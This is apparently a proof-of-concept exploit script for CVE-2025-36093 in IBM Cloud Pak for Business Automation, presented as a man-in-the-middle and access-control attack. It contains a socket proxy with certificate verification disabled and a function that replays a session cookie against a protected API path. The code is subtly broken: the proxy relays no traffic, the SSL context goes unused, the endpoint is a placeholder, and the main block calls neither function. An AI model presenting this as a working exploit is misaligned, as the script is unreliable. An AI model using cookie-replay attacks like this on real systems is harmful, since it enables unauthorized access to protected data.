CVE-2025-36093

# CVE-2025-36093 PoC - MITM Attack Demonstration # This PoC demonstrates the concept of man-in-the-middle attack on vulnerable endpoints import socket import ssl import struct import time def create_mitm_proxy(listen_port=8080, target_host='vulnerable-server', target_port=443): """ Create a MITM proxy to intercept traffic between client and server This PoC demonstrates the vulnerability where proper access control is missing """ context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Create listening socket server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', listen_port)) server_socket.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Target: {target_host}:{target_port}") print("[*] Waiting for connections...") while True: try: client_socket, addr = server_socket.accept() print(f"[+] Connection received from {addr}") # Forward traffic to target (demonstration only) target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_socket.settimeout(10) try: target_socket.connect((target_host, target_port)) # In a real attack, attacker could: # 1. Intercept and log all traffic # 2. Modify request parameters # 3. Inject malicious content # 4. Impersonate the server or client print("[!] Traffic interception possible - access control not enforced") print("[!] Attacker can access unauthorized content") except Exception as e: print(f"[-] Connection to target failed: {e}") finally: target_socket.close() client_socket.close() except KeyboardInterrupt: print("\n[*] Shutting down proxy...") break except Exception as e: print(f"[-] Error: {e}") def exploit_vulnerability(target_url, session_cookie=None): """ Attempt to access unauthorized resources using intercepted credentials """ import http.client try: # Parse target URL host = target_url.replace('https://', '').replace('http://', '').split('/')[0] # Create connection conn = http.client.HTTPSConnection(host, timeout=10) # Request with potentially unauthorized access headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SecurityScanner/1.0)', } if session_cookie: headers['Cookie'] = session_cookie # Try to access protected resources without proper authorization # In vulnerable version, this may succeed without proper validation conn.request('GET', '/api/protected/endpoint', headers=headers) response = conn.getresponse() print(f"[*] Response Status: {response.status}") print(f"[*] Response Headers: {dict(response.getheaders())}") data = response.read() if response.status == 200: print("[!] Successfully accessed resource - vulnerability confirmed!") return True else: print("[-] Access denied - target may be patched") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': print("=" * 60) print("CVE-2025-36093 - IBM Cloud Pak For Business Automation") print("Improper Access Control - MITM Attack PoC") print("=" * 60) print("\n[*] This PoC demonstrates the vulnerability") print("[*] Use only for authorized security testing") print()

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